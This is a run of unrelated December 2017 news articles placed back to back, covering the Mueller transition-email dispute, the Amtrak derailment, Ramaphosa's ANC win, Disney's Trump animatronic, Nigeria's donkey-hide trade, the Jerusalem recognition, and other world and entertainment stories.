But Mr Muellers spokesman insisted the proper protocol had been followed, while two members of Mr Obamas transition team dismissed Mr Langhofers allegations as whining.

Norm Eisen, deputy general counsel for the 2008 transition and later Mr Obamas ethics czar, wrote on Twitter: I warned everyone: there is NO expectation of privacy in your transition emails. The clue: emails are name@ptt.gov. The whining letter from the Trump Transition tacitly admits this.

Executive privilege does not apply until you are the executive; these documents are from the transition, before Trump became the executive; QED no executive privilege. Grasping at straws here.

Chris Lu, who led the 2008 transition, added: There is no expectation of privacy in transition emails: 1) they have a .gov address; 2) they were created with govt-supplied equipment; and 3) they sat on govt servers. This is just whining from Trump team.

The President has also criticised Mr Muellers gathering of the emails, saying it was not looking good and insisted again there was no collusion. He denied rumours he was planning to fire the veteran prosecutor from his role as special counsel.

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Mr Langhofer said some of the emails were protected by the attorney-client privilege, the deliberative process privilege, and the presidential communications privilege, and asserted that releasing the messages constituted unlawful conduct that undermines the Presidential Transition Act.

In a seven-page letter he further claimed that Richard Beckler, then the GSAs general counsel, had promised to forward any requests for disclosure to Trump For Americas lawyers. Mr Beckler died in September, aged 77.

However, a colleague who was also present for that conversation said no such promise was made.

In using electronic devices provided by the GSA, Mr Trumps team was told that material would not be held back from law enforcement, Lenny Loewentritt told Buzzfeed News.

Among the officials who used transition email accounts was Michael Flynn, who later became National Security Adviser but was fired and, earlier this month, pleaded guilty to lying to the FBI. His lawyer, Robert Kelner, did not comment.

When the news broke on Saturday, White House spokeswoman Sarah Huckabee Sanders said the administration would continue to cooperate fully with the special counsel and expects this process to wrap up soon.

Mr Muellers spokesman, Peter Carr, said his office had followed the law when requesting documents.

When we have obtained emails in the course of our ongoing criminal investigation, we have secured either the account owners consent or appropriate criminal process, he said.

Elijah Cummings, the ranking Democrat on the House oversight and government reform committee, said: Our committee has direct jurisdiction over the Presidential Transition Act, and it simply does not support withholding transition team emails from criminal investigators.

The Presidents lawyers have said they want to fully comply with special counsel Muellers investigation, so it is odd that they now suggest they would have withheld key documents from federal investigators.

Eric Swalwell, a Democratic congressman who sits on the House judiciary committee, categorised Mr Langhofers claims as baloney and an attempt to turn opinion against Mr Mueller.

Private documents on a US Government, public email system? What are they afraid was found? Baloney. This is another attempt to discredit Mueller as his #TrumpRussia probe tightens, he wrote on Twitter.

Additional reporting by agencies
The scene where an Amtrak passenger train derailed on a bridge in Washington Monday. (Photo: Steve Dipaola / Reuters)

WASHINGTON  Congress delayed the implementation of an advanced safeguard that could help prevent railroad accidents like the one in Washington state Monday.

At least three people were killed and dozens more were injured after an Amtrak passenger train heading from Seattle to Portland, Oregon, plunged off an interstate highway overpass, law enforcement officials said.

Amtrak officials said a new safety mechanism called positive train control was not activated at the time of the derailment. The train was traveling on an inaugural run of a high-speed service route.

The Amtrak Cascades 501 service was approved to reach speeds of up to 79 mph, but investigators late Monday said that that the train was traveling 80 mph in a 30 mph zone at the time of the incident. Officials said it was too early to tell why the train was going that fast.

Positive train control is a system meant to automatically stop trains before certain accidents happen, like train-to-train collisions and derailments caused by excessive speed. After a 2008 crash in California, a new law required trains across the country to install the technology by the end of 2015, the Hill reported.

But as the deadline approached, Congress extended it until the end of 2018, after receiving complaints from freight and commuter railroad companies about the difficulty of converting to the new system. The extension was part of a five-year highway bill compromise between the House and Senate that President Barack Obama signed into law.

Sen. Richard Blumenthal (D-Conn.), who warned about delaying positive train control at the time, tweeted Monday that the technology must be implemented immediately.

Technology like Positive Train Control must be implemented immediately to prevent trains from speeding and flying off rails. Statutory deadline is 2018  no excuses.  Richard Blumenthal (@SenBlumenthal) December 18, 2017

Other lawmakers said theyd like to see the results of the investigation before drawing conclusions.

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We dont know that it could have saved lives, Rep. Denny Heck (D-Wash.), who represents the district where the Monday derailment occurred, told CNN of the technology after the crash. But it was a disappointment that were not further along in implementation and installing PTC in trains throughout America.

We cant jump to conclusions, Heck further warned.

The National Transportation Safety Board is conducting an investigation into the accident, but it may take months before it is completed.

The absence of positive train control was a contributing factor to a deadly passenger train derailment in Philadelphia in 2015, according to the safety board. In that incident, an Amtrak engineer became distracted and accelerated to more than twice the speed limit as he entered a curve.

President Donald Trump initially addressed the deadly derailment on Twitter by making the case for an overhaul of the nations crumbling infrastructure system via a plan he is expected to soon unveil. The incident in Washington, however, occurred on a brand new service line.

The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!  Donald J. Trump (@realDonaldTrump) December 18, 2017

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- REUTERS

Cyril Ramaphosa, South Africas deputy president, has been elected the new president of South Africas ruling African National Congress, bringing president Jacob Zumas troubled leadership of Africas storied liberation movement to an end.

Thousands of enthusiastic delegates dressed in the partys trademark yellow and green colors burst into thunderous applause and dance as the election results were announced at a conference center on the outskirts of Johannesburg, where the ANC met for the first time in 1990 after the ban was lifted on the organisation.

The move puts Mr Ramaphosa, a veteran of the anti-apartheid struggle and one of South Africas wealthiest citizens, in position to become the next president of the country, as the ANC still holds a voting majority.

Cyril Ramaphosa is congratulated by Nkosazana Dlamini-Zuma at the ANC conference in Johannesburg Credit: MUJAHID SAFODIEN/AFP/Getty Images

The vote also puts to bed a bitter election battle with fellow challenger Nkosazana Dlamini-Zuma, who is 68 and the mother of four of Mr Zuma's children. Critics saw her bid for presidency as potentially damaging to the party given her close proximity to Mr Zuma and the corruption scandals that have dogged his most recent years in power.

Mr Zumas term as head of state will be up in 2019 when national elections are scheduled to be held. David Mabuza, premier of Mpumalanga province, was chosen as Mr Ramaphosas deputy president of the party.

Mr Ramaphosa, a 65-year-old lawyer and businessman, inherits one of the worlds greatest liberation movements, but one whose reputation has been battered by corruption scandals and failures to deliver on the promises of a free South Africa.

A teary eyed South African deputy president Cyril Ramaphosa reacts after he was announced president of the ANC Credit: MUJAHID SAFODIEN/AFP/Getty Images

Hopes are running high that Mr Ramaphosa is up to the task. During the run-up to the vote, he promised to reform the ruling party and has called the corruption allegations that make daily headlines in the country the enemy of the people.

The overall sentiment across a large body of ordinary south Africans will certainly be uplifted as a result of his victory, says Daniel Silke, an independent political analyst. There will be a sense of relief of many South Africans.

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Mr Ramaphosas candidacy has been favored by investors who see him as the best bet for getting the nations sluggish economy and unpredictable policy environment back on track.

There is going to be a renewed confidence immediately, said William Gumede, executive chairperson of the Democracy Works Foundation. The country is in paralysis. Business is not investing because they are uncertain. Theres paralysis in the state also.

Cyril Ramaphosa | South Africa's president-in-waiting?

In an early sign of the direction the race was heading, senior ANC leaders made the unusual move of offering the deputy president their support in the early hours of Monday on social media.

Am casting my vote for comrade Ramaphosa for ANC President, National Spokesperson Zizi Kodwa said on Twitter early Monday. Whatever happens I trust he will restore confidence and inspire hope.

For the last three days, more than 4,700 party delegates from around the country have been hunkered down to prepare for the historic decision to elect the next leader of Nelson Mandelas bruised liberation struggle.

South Africa's president Jacob Zuma sings with newly elected president of the ANC Cyril Ramaphosa Credit: Siphiwe Sibeko/Reuters

Delegates waited for nearly two hours in a large conference hall awaiting the results, with Mr Zuma taking the podium to sing a few tunes to pass the time, much to the crowds delight.

Finally, a spokesperson for the election agency that conducted the vote announced Mr Ramaphosa had beat Mrs Dlamini-Zuma, former African Union commission chair, for the partys top job by 179 votes. We declare Comrade Cyril Ramaphosa as the new president of the African National Congress, she said.

The 105-year-old partys reputation has suffered in recent years as a series of high-profile scandals and corruption allegations has hit Mr Zuma and his allies. In 2016, the party had its worst-ever showing in local elections, dipping below 60% for the first time in the partys history.

Nkosazana Dlamini-Zuma lost the vote Credit: SIPHIWE SIBEKO/ REUTERS

Party leaders, including Mr Zuma, have acknowledged those serious challenges during the gathering this week, particularly the factionalism that has deepened divisions within the party in recent months.

In his last speech as party president on Saturday, Mr Zuma urged ANC members to accept the choice that the party would make this week. No matter how strong you felt about the candidate, once the branches of the ANC have made their choice, you have to respect that and agree to be led."
Hes making animatronics great again?

Walt Disney World will officially unveil its animatronic version of Donald Trump at its Hall of Presidents attraction on Tuesday, according to a press release.

The Florida parks attraction has been closed for nearly a year as Disney Imagineers tried to create a Trump animatronic ready to share the stage with George Washington, Thomas Jefferson and Abraham Lincoln.

Disney used the latest robotic technology to make its anima-Trump seem as realistic as possible. Some people were not convinced of the resemblance:

Why does the Donald Trump Animatronic at the Hall of Presidents look like Ted Cruz and Bernie Sanders had a baby? pic.twitter.com/kEsSepjAaR  Ayden (@hascerflef) December 18, 2017

Disney's Hall of Presidents Donald Trump looks more like Jon Voight pic.twitter.com/mCRsccHFzW  Matt Binder (@MattBinder) December 18, 2017

In addition, the figures hands seem normal-sized and its speech  which was recorded by Trump himself  seems presidential without any weird asides about Little Rocket Man or building a wall.

Heres the complete text of anima-Trumps speech. You can see it do its stuff in the video below:

I, Donald John Trump, do solemnly swear that I will faithfully execute the office of the President of the United States and will, to the best of my ability, preserve, protect and defend the Constitution of the United States, so help me God. From the beginning, America has been a nation defined by its people. At our founding, it was the American people who rose up to defend our freedoms and win our independence. It is why our founders began our great Constitution with three very simple words: We the People. Since that moment, each generation of Americans has taken its place in the defense of our freedom, our flag and our nation under God. These are the achievements of the American spirit. The spirit of a people who fought and died to bring the blessings of liberty to all our people. Above all to be American is to be an optimist, to believe that we can always do better and that the best days of our great nation are still ahead of us. Its a privilege to serve as the president of the United States, to stand here among so many great leaders of our past and to work on behalf of the American people.

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Every recent president starting with Bill Clinton has recorded a speech for the Hall of Presidents, and its never aroused controversy until Trump was elected.

However, his propensity for questionable comments  like Grab them by the pussy. You can do anything, I could stand in the middle of Fifth Avenue and shoot somebody and I wouldnt lose any voters and My fingers are long and beautiful, as, it has been well documented, are various other parts of my body  inspired some Americans to sign a petition asking Disney not to have its Trump figure speak.

Of course, the addition of Trump to the existing attraction inspired some clap back on Twitter:

Donald Trump being added to Disney's "Hall of Presidents" is now the world's most well-known participation trophy.  Charlotte Clymer (@cmclymer) December 18, 2017

Donald Trump's animatronic figure made its debut at Disney World's Hall of Presidents. It opened the show by saying Simba can't be king bc he wasn't really born in Africa.  Will Presti (@WillPresti) December 18, 2017

A spokesman for the Hall of Presidents confirmed that the new animatronic Donald Trump figure will yell racial slurs at visiting minorities and call for them to be expelled from the park. https://t.co/lPYJ7CIydp  Brandon Willmore (@bwillmore5) December 18, 2017

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US President Donald Trump has responded to a deadly train derailment in Washington State by promoting his latest policy priority: infrastructure.

"The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly," Mr Trump tweeted hours after the fatal crash.

He also lamented the amount of money his country had spent building infrastructure in the Middle East, adding: "Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!"

It was unclear from where Mr Trump took the $7 trillion figure. The latest estimates from Harvard and Brown universities put the cost of American wars in Iraq, Afghanistan, Syria and Pakistan between $3 trillion and $6 trillion.

An Amtrak train derailed on an overpass near Seattle on Monday morning, killing at least six people and wounding dozens more. Washington Governor Jay Inslee declared a state of emergency in two counties affected by the derailment, according to CNN.

Monday was the first day that Amtrak trains outside of the city were set to run along new lines, which were previously used only by regional commuter rail services. The rerouting was part of a plan to bring high-speed trains to the area.

My thoughts and prayers are with everyone involved in the train accident in DuPont, Washington. Thank you to all of our wonderful First Responders who are on the scene. We are currently monitoring here at the White House.  Donald J. Trump (@realDonaldTrump) December 18, 2017

Mr Trump followed up his initial tweet with one thanking first responders and offering his thoughts and prayers to everyone involved in the accident. He added that he was monitoring the situation from the White House.

The President doubled down on these comments in a speech later that afternoon, offering his sympathies to the victims and adding that the derailment was "all the more reason why we must start immediately fixing the infrastructure of the United States".

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Mr Trump is poised to unveil his $1 trillion infrastructure plan after Congress passes the Republican tax reform bill. The plan would allocate $200bn in federal funds to four areas: funding for states that promise to take on more of the financial burden of their infrastructure; block grants for rural areas; existing federal loan programmes; and money for "transformational" projects. One suggested use for the funds is improving transportation.

The President's proposed yearly budget, however, would have dramatically cut federal funding for Amtrak specifically. Mr Trump's suggested $16.2bn budget for discretionary transportation spending represented a nearly 13 per cent reduction in transportation spending over this fiscal year, according to the Washington Post. The cuts included a $630m reduction in subsidies for long-distance Amtrak routes.

Mr Trump has used disasters to promote his policy agenda in the past. In September, Mr Trump suggested that a terrorist attack in London evidenced the need for his ban on travellers from six Muslim-majority countries.

Another attack in London by a loser terrorist, the President tweeted at the time. The travel ban into the United States should be far larger, tougher and more specific  but stupidly, that would not be politically correct!
Warri (Nigeria) (AFP) - Abubakar Ya'u digs sand from vast, sweeping dunes and loads heavy hessian sacks of the fine, golden bounty onto the backs of donkeys which carry it to market.

Rampant demand for the beasts of burden in China, where their skins are believed to have medicinal properties, has caused prices to soar -- creating a dilemma for Ya'u and his fellow excavators in Kano, northern Nigeria.

"Two years ago we were buying donkeys strong enough for our trade for between 15,000 and 18,000 naira (between $42 and $50) -- but now to get a good donkey you will require 70,000 to 75,000," he said, wearing dusty sandals, jeans and a T-shirt.

"The reason for this is the huge purchase of donkeys which are transported to the south where their meat is consumed and their skin exported," he explained.

"To us, it is a calamity because as a sand digger if you lose your donkey, you can hardly raise the money to replace it."

Fellow sand digger Abdurrahman Garba, who has been in the business for 30 years, added that export bans by some of Nigeria's neighbours had made the situation worse.

- 'Alarming rate' -

"Now that Niger has banned donkey exports to save its stock, the Chinese have turned to our stock -- depleting them at an alarming rate," said Garba, 40.

Botswana, Senegal, Mali, Burkina Faso and Gambia all impose restrictions on the trade, while Zimbabwean authorities blocked a private donkey slaughterhouse under construction and Ethiopia closed its only functioning abattoir.

Garba admitted that the temptation to sell the animals for short-term gain could be overwhelming.

"I was offered 95,000 naira for my biggest donkey but I fought hard to resist the temptation to sell it because I knew I will not be able to replace it," he said. "We blame the Chinese for this disturbing situation."

The animals are increasingly being transported, sometimes covertly, from Mali, Niger, Burkina Faso and northern Nigeria to the southeast where they are then typically slaughtered.

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Donkeys are relatively cheaper in the Muslim-majority north as they are typically not slaughtered for their meat, tempering demand.

But the north-south trade route for donkeys was already well established as consumption has traditionally been relatively high in the south where some communities have long eaten the animals.

At a market in Ughelli, Delta State -- the centre of the Nigerian donkey trade -- hundreds of donkeys are crammed into pens under the burning sun as they await their fate. Some are skeletally thin, all are quiet.

New animal pens are being made every month as the demand for donkey hides and meat is met with an steadily growing supply from the north.

From Delta state on Nigeria's southern coast, hides are shipped to China where they are stewed to render the coveted gelatin known as "Ejiao" in Chinese.

The buyers, who believe that soluble Ejiao gum is an effective remedy for troubles ranging from colds to aging, comprise a market thought to be worth hundreds of millions of dollars every year.

"The medicine is popularly referred to as a blood tonic and helps to fortify the body, particularly in conditions like anaemia," said Oliver Emekpor, a butcher handling donkey meat at the Ughelli market.

"It comes in blocks of dried pieces which are melted down into a brew of herbal mixture to drink and sells for up to $390 (330 euros) per kilo."

Nothing is wasted. To maximise profits, donkey dealers often sell the remaining meat to unwary consumers as beef, a practice described by a local trade association as "criminal".

Hooves are used to make shoes and donkey bones are used to manufacture plates.

- 'Scarcity of donkeys' -

Simon Pope, a campaigner at the Donkey Sanctuary, a British animal welfare charity, said that the scale of the donkey trade is almost impossible to estimate.

"Each donkey hide produces one kilogram of Ejiao and there is a huge uncertainty about how many hides are being used annually," he said.

Yemi Adebayo, an official at Nigeria's trade ministry, acknowledged that donkey hide sales to China are booming, but refused to confirm if any deal had been struck to facilitate shipments.

"Different countries either support or oppose the trade in different ways," he said, but the status of the activity in Nigeria remained unclear.

Dong-E E-Jiao is China's market leader for the manufacture and sale of Ejiao, controlling 70 percent of the market. The firm posted pre-tax profits of $295 million (250 million euros) in 2016 and handled roughly 700,000 donkey hides in 2014 alone.

Donkey numbers in China have nearly halved from 11 million in the 1990s to six million in 2013, according to official statistics.

China produces 5,000 tons of Ejiao each year, requiring some four million hides, according to the China Daily.

"The strong players will get stronger amid the scarcity of donkeys and decreasing supply of donkey hide," wrote BOCOM International financial services in a research note for investors.

The Donkey Sanctuary's investigation into the trade, "Under the Skin," revealed that the explosion in demand had led to a surge in donkey thefts in Africa, Asia and South America.

"Donkeys may soon go extinct if they continue to be killed," said Garba, the veteran sand digger. "Once they are finished, our trade will suffer."
Jerusalem (AFP) - Below are the main developments since the controversial decision by US President Donald Trump to recognise Jerusalem as Israel's capital:

- Shockwaves -

In a speech from the White House on December 6, 2017, Trump says recognising Jerusalem as the Israeli capital marks the start of a "new approach" to solving the Israeli-Palestinian conflict.

"It is time to officially recognise Jerusalem as the capital of Israel," he says, breaking with the policies of his predecessors and outraging Palestinian leaders.

He orders preparations to relocate the American embassy from Tel Aviv to Jerusalem.

Palestinian president Mahmud Abbas says Trump's moves "deliberately undermine all peace efforts" and says Washington can no longer play the role of peace broker.

The US initiative prompts a wave of criticism around the world, while Israel's Prime Minister Benjamin Netanyahu hails Trump's move as "historic".

On December 7, Palestinians clash with Israeli security forces and a general strike is broadly followed in the occupied West Bank and east Jerusalem.

- 'Rage' -

On December 8, Palestinians are called to follow a "day of rage" in Jerusalem, the West Bank and Gaza Strip.

In their thousands they face off against Israeli soldiers and police. Two Palestinians are killed and dozens wounded in clashes.

Demonstrations are held in several Arab and Muslim countries.

At the United Nations, envoys from Britain, France, Germany, Italy and Sweden say Trump's move is "not in line" with UN Security Council resolutions and is "unhelpful in terms of prospects for peace in the region".

US ambassador Nikki Haley says Trump has not taken a position on the region's borders.

On December 9, two members of the Palestinian Islamist movement Hamas die in Israeli air force raids in response to rocket fire from the Gaza Strip.

Abbas's Fatah party urges Palestinians to "keep up the confrontation and broaden it to all points where the Israeli army is present" in the West Bank.

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Meeting in Cairo, Arab foreign ministers say the United States has in effect "withdrawn itself as a sponsor and broker" of the Israeli-Palestinian peace process.

- East Jerusalem -

On December 13, Muslim leaders call on the international community to recognise east Jerusalem as the capital of a Palestinian state, at a summit of the Organisation of Islamic Cooperation in Istanbul.

On December 15, four Palestinians are killed in clashes with Israeli forces as tens of thousands demonstrate against Washington's recognition.

A total of 18 Palestinians and one Israeli have been killed in violence since Trump's declaration.

- US veto -

On December 18, the United States vetoes a draft UN resolution rejecting Trump's recognition of Jerusalem, after all 14 other Security Council members back the measure.

The UN General Assembly on December 21 overwhelmingly adopts a resolution against the US declaration.

On December 24, Guatemala announces transfer of its embassy to Jerusalem.

- 'Slap of the century' -

On January 2, Israel's parliament gives final approval to legislation aimed at making it more difficult for the government to hand the Palestinians parts of Jerusalem under any future peace deal.

On January 14, Mahmud Abbas denounces White House peace efforts as "the slap of the century" and charges that Israel has "ended" the 1993 Oslo peace accords on Palestinian autonomy.

He reiterates the Palestinians no longer accept the United States as a peace mediator.

Palestinian leaders vote on January 15 to call for the suspension of their recognition of Israel, but implementation of such a move remains in the hands of the Palestine Liberation Organisation's executive committee.

On January 16, Washington holds back $65 million that had been earmarked for the United Nations relief agency for Palestinian refugees, UNRWA.

US Vice President Mike Pence on January 22 receives a warm welcome in Israel but his visit to the region is snubbed by the Palestinians.

In a speech to parliament Pence pledges that the US will move its embassy to Jerusalem "before the end" of 2019, while also urging the Palestinian leadership to "return to the table" for talks.

acm/lal/del
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A lot of crap gets shared on Facebook, but coming soon the volume may be a little less after Facebook made a move to penalize content that shamelessly begs people for engagement.

The social network giant said today that it will penalize Page owners and people who resort to "engagement bait," which means posts that encourage users to like, comment or tag people in the comments section in order to gain wider visibility of their content.

The incentives -- such as "Share with friends to win a free trip" or "Like if you're an Aries" -- gets content shared through engagement, ultimately helping the post, and the Page owner/author, grow its reach as users interact and it shows up on their friends' Newsfeeds.

Not so now. A new tweak to the Newsfeed algorithm will mean "stricter demotions" for Pages, and/or individual, who adopt engagement bait tactics. Starting in a couple of weeks, offenders will have the total reach on all of their posts reduced if their content is begging or baiting users to interact. As you'd expect, serial offenders will be hit hardest.

But, Facebook is extending an olive branch and -- initially, at least -- engagement baiters can earn their original reach back with good behavior, i.e. less of the sludge and 'better' content all round.

Three examples of "engagement baiting" shared by Facebook

Facebook did specify that there are some exceptions to this clampdown, and that includes examples like a missing child report, raising money for a cause, or asking for travel tips, to quote the company directly.

The crackdown itself is led by a machine learning model that the social network said has been fed "hundreds of thousands of posts" to detect different kinds of engagement bait.

This push to close down some of the spammier types of content follows a clampdown on sites with crappy web experiences -- for example those caked in advertising -- and moves to weed out clickbait in multiple languages.

Facebook is, of course, still answering tougher question about the overall impact that its service is having on society across the world. In addition to explaining how Russian actors used the site to try to manipulate the U.S. general election and the UK's Brexit vote, it is also being criticized from former executives who accuse it of "destroying how society works."
A kindhearted Maryland firefighter who rescued a soggy golden retriever is now hoping to provide a forever home for the canine.

The pup, estimated to be around 10 years old, was discovered freezing near a creek Friday.

When Prince Georges County Fire and EMS Battalion arrived, firefighter Jesse McCullough can be seen in a video of the dramatic rescue lowering himself down into the creek with a ladder and meeting the scared pup.

Authorities said the golden retriever happily wagged his tail when he saw McCullough.

Although the dog was too cold to climb up the ladder himself, firefighters brought him to safety and fed him chicken and water when they returned to the firehouse, where the pup fell asleep for the night.

While officials later found a microchip on the dog, they said it was not registered to an owner.

McCullough said he plans to adopt the dog if its owners do not come forward.

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PARIS (Reuters) - France's struggling Socialist Party said on Tuesday it had agreed to sell its historic headquarters in Paris' Left Bank for 45.5 million euros ($53.89 million), after a stinging electoral defeat this year left it strapped for cash. The mansion - in Socialist hands since 1980, just before Francois Mitterrand became the party's first leader to rise to the presidency - will be sold to French property developer Apsys. The center-left party won just 29 parliamentary seats in a legislative election this year, down from 280 previously in the 577-strong chamber, causing it to lose state subsidies. The Socialists also suffered an electoral drubbing in the presidential race in May, as centrist newcomer Emmanuel Macron took power, blowing apart France's traditional two-party system in the process. The center-left party's candidate limped into fifth place, after Francois Hollande, whose election five years earlier was hailed as a new dawn for French Socialists, did not seek re-election following an unpopular presidency. Center-left parties across Europe have struggled to win back voters in the wake of recessions and a global banking crisis that have spawned newer political parties and increased support in some cases for more radical forces on the left. Macron's upstart Republic on the Move party has now the largest number of seats in the lower house of parliament. Funds from the sale of the Socialist headquarters will partly be used for future campaigns. The party said it would not have to move out until next September. The Socialists are currently being managed by a committee and the party is due to hold a leadership contest next April. (Reporting by Elizabeth Pineau, Writing by Sarah White; Editing by Gareth Jones)
By Sabine Siebold MAZAR-I-SHARIF, Afghanistan (Reuters) - Germany's defense minister said on Tuesday she wanted to boost the German presence in Afghanistan, in the first public indication that Berlin could accept a U.S. call for more soldiers to help reverse territorial gains by Taliban insurgents. Germany currently has 980 soldiers stationed in the Hindu Kush mountains as part of a NATO mission to train Afghan security forces, the second biggest national contingent after the United States. "The soldiers, and especially the trainers, are telling me: We have enough trainers but we could do significantly more if we had better protective components, more security personnel," Defence Minister Ursula von der Leyen said during a visit to the northern Afghan city of Mazar-i-Sharif. Von der Leyen added that the German parliament would have to approve any additional deployments. The minister is a member of Chancellor Angela Merkel's conservatives and has said she hopes to retain her job in a new coalition government currently being negotiated. Merkel hopes to forge another 'grand coalition' with the center-left Social Democrats (SPD) like the one that has led Germany for the past four years. The SPD is generally more cautious about defense spending and sending German troops abroad. U.S. President Donald Trump in August authorized an increase in U.S. troops to train Afghan security forces and carry out counter-terrorism operations, hoping to reverse gains by Taliban insurgents and compel them to agree to peace talks. On Monday von der Leyen criticized the rapid reduction in forces since the NATO-led International Security Assistance Force (ISAF) wound up in Afghanistan in 2014, and she called for a longer-term commitment in the Hindu Kush mountains. At the peak of the ISAF mission around 150,000 foreign soldiers were deployed in the Hindu Kush. There are now around 17,000, of whom 10,000 are Americans. Germany increased the upper limit to its Afghanistan mandate to 980 soldiers from 850 in 2016, at a time when the United States and most other countries were reducing their forces. Von der Leyen called for negotiations between the Afghan government and the Taliban, saying the Afghan security forces could "apply pressure" to those Taliban who were ready to negotiate. "Only that will lead to success in the long-term," she added. (Writing by Michelle Martin; Editing by Gareth Jones)
Berlin (AFP) - Germany will commemorate later Tuesday the victims of last year's devastating Christmas market attack in Berlin that claimed 12 lives and wounded 70 others, with questions still unsettled about whether the truck assault could have been prevented.

The popular Christmas market at Breitscheidplatz will stay shut all day out of respect for those mowed down by failed Tunisian asylum seeker Anis Amri, while a private memorial will be held for families of the victims and emergency workers.

The solemn commemoration comes a day after Chancellor Angela Merkel's met with relatives of victims for the first time, after she came under fire for failing to reach out to them sooner.

German President Frank-Walter Steinmeier will address the ceremony in a church on the same square, which will be followed by the inauguration of a memorial -- a 14-metre (46-foot) golden crack in the ground engraved with the victims' names.

In the evening, members of the public can join in an ecumenical prayer, and at 8:02 pm (1902 GMT) -- the exact time when Amri rammed his truck into the crowded square a year ago, the church's bells will chime for 12 minutes.

Amri himself was shot and killed four days after the attack by police in Italy, where he had previously lived.

Kurt Beck, who was commissioned by the government to look into the handling of the aftermath of the assault, acknowledged that Monday's meeting between Merkel and the bereaved came too late.

It was "no ill will, but a misjudgement," Beck told public broadcaster ZDF, noting that neither Germany, nor the chancellor, were prepared for the attack.

Acknowledging the criticism, Merkel said: "It is clear to me that their suffering, this complete transformation of their lives cannot be put right.

"But nevertheless we can show compassion and will improve the things that must be improved."

- 'Hiding is no alternative' -

Beck last week also outlined Germany's clumsy handling of the tragedy, including taking up to three days to inform anxious relatives that their loved ones had perished and even sending the bereaved autopsy bills complete with late payment warnings.

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Police also faced fierce criticism as it emerged that Amri, who arrived in Germany in the summer of 2015 and registered under several different identities, should have been deported.

On Sunday, Welt am Sonntag reported that the Tunisian had been under closer surveillance by Germany's secret service than previously thought, and suggested that authorities may have left him free in order to detect his instigators.

Meanwhile revellers have returned to the Christmas market even though memories of last year's attack still loom large.

"It's a strange feeling to see the memorial. Like the security bollards which are everywhere also, they remind you of what happened a year ago," said Dagmar Blume, 56, who had travelled to Berlin from the central German city of Braunschweig.

Marcel Knauer, 29, had come to the square with his mother to lay flowers, adding to the sea of bouquets, photos and candles at the site of the attack.

"It's an emotional moment to be here," said Knauer, whose mother lives near the square.

But for many, there was no question of staying away.

Klaus Breitkopf, 62, said he felt safe.

"Hiding is no alternative," he said.
Time magazines latest cover, starring the female-first cast of A Wrinkle In Time, is evoking comparisons to last weeks issue, dedicated to Person of the Year: The Silence Breakers, both a homage to fearless women.

The film stars Reese Witherspoon, Mindy Kaling, Oprah, and Storm Reid (of 12 Years a Slave) and according to Time, producer Catherine Hand made the film 54 years after she, as a 10-year-old, penned a 1963 letter to Walt Disney, begging the movie man to remake her beloved childhood book. The plot entails a 13-year-old girl named Meg who, protected by three female guardian angels called The Mrs., embarks on a multi-dimensional mission to rescue her scientist father.

Members of the cast of A Wrinkle In Time: Mindy Kaling, Reese Witherspoon, Oprah Winfrey, Storm Reid. (Photo: Getty Images)

L: Taylor Swift, Ashley Judd, Susan Fowler, Adama Iwu, and Isabel Pascual pose for Times Person of the Year cover; R: Storm Reid, Reese Witherspoon, Oprah, and Mindy Kaling, the cast of A Wrinkle In Time. (Photos: Time magazine)

As a child, Hand assumed that the power to adapt Wrinkle rested with a single man. But it took a collective of women to finally do it, reported Time, adding that the books author, Madeleine LEngle, grew up feeling ostracised and yearning to make an impact: Shes also angsty and angry and troubled by the injustices around her.

Time called the film a way to change Hollywood and Witherspoon agrees, Instagramming a photo of the cover Monday with the caption, Change is coming

A post shared by Reese Witherspoon (@reesewitherspoon) on Dec 18, 2017 at 12:00pm PST

The cover (shot by Michal Pudelka) generated excitement on social media, not unlike last week, when the magazine released its annual Person of the Year issue, dedicated to a group of women dubbed The Silence Breakers for sparking awareness of sexual harassment, as part of the #MeToo movement, which emboldened women to come forward with their experiences.

A post shared by TIME (@time) on Dec 18, 2017 at 5:30am PST

Featured are Taylor Swift who won a civil case against a Colorado DJ who assaulted her during a photo opportunity in 2013, Ashley Judd who in October revealed she was sexually harassed by mogul Harvey Weinstein, Uber engineer Susan Fowler, who was instrumental in exposing a company culture of sexual harassment, California lobbyist Adama Iwu, whose Los Angeles Times letter called for an end to harassment in politics, and Isabel Pascual, an immigrant from Mexico, who did not use her real name.

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Also pictured is the elbow of an unknown woman, a hospital worker in Texas, who chose to hide her identity to protect her family. She is faceless on the cover and remains nameless inside TIMEs red borders, but her appearance is an act of solidarity, representing all those who are not yet able to come forward and reveal their identities, according to Time.

On the surface, both covers are strikingly similar  the diverse group of women is dressed in black with intense facial expressions  but the similarities run deeper with themes of feminism, social justice, and controversy.

Group photos can be difficult to pull off because each woman has her own unique and personal story, but collectively, theyve achieved something extraordinary, Kira Pollack, deputy editor of Time, tells Yahoo Lifestyle.

The women featured on the Person of the Year cover didnt know each other before the shoot but there was no red-carpet treatment. When Susan Fowler met Ashley Judd, it wasnt about meeting a celebrity  they were unified. It was moving, says Pollack, adding, We chose black clothing because its a simple, basic color that most people own and feel comfortable wearing.

The #MeToo movement has been called a cultural revolution, but as Time notes of The Silence Breakers, This reckoning appears to have sprung up overnight. But it has actually been simmering for years, decades, centuries

A Wrinkle in Time director Ava DuVernaya. (Photo: Getty Images)

A Wrinkle In Time sets the tone for the future. Director Ava DuVernay, the first African-American woman to direct a big-budget film, told Time that she wanted Meg to have brown skin and the guardian angels to be diverse in size, religion, and age, and be black, white and someone who wasnt either. I wasnt just casting for actresses, she said. I was casting for leaders  icons.

Its not shied away from. It is front and center, DuVernay said at the New Yorker Festival of her casting of Reid, a woman of color. She is hopping planets and flying and saving the freakin world. Shes saving the world. Saving the world from darkness, and in the film darkness is defined as the darkness within us. Shes saving us from ourselves. Its deep.

And the timing of these two covers is impeccable. When women play powerful roles, it gets into the zeitgeist and the culture and you start seeing women everywhere, says Pollack. Its just happening.

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This holiday season, will you view the glass as half full or half empty? Well, that might depend on the size of the glass. A new study from England finds that over the past three centuries, wineglasses in England have ballooned in size, from holding the equivalent of a double shot of liquor to holding nearly two cups of liquid.

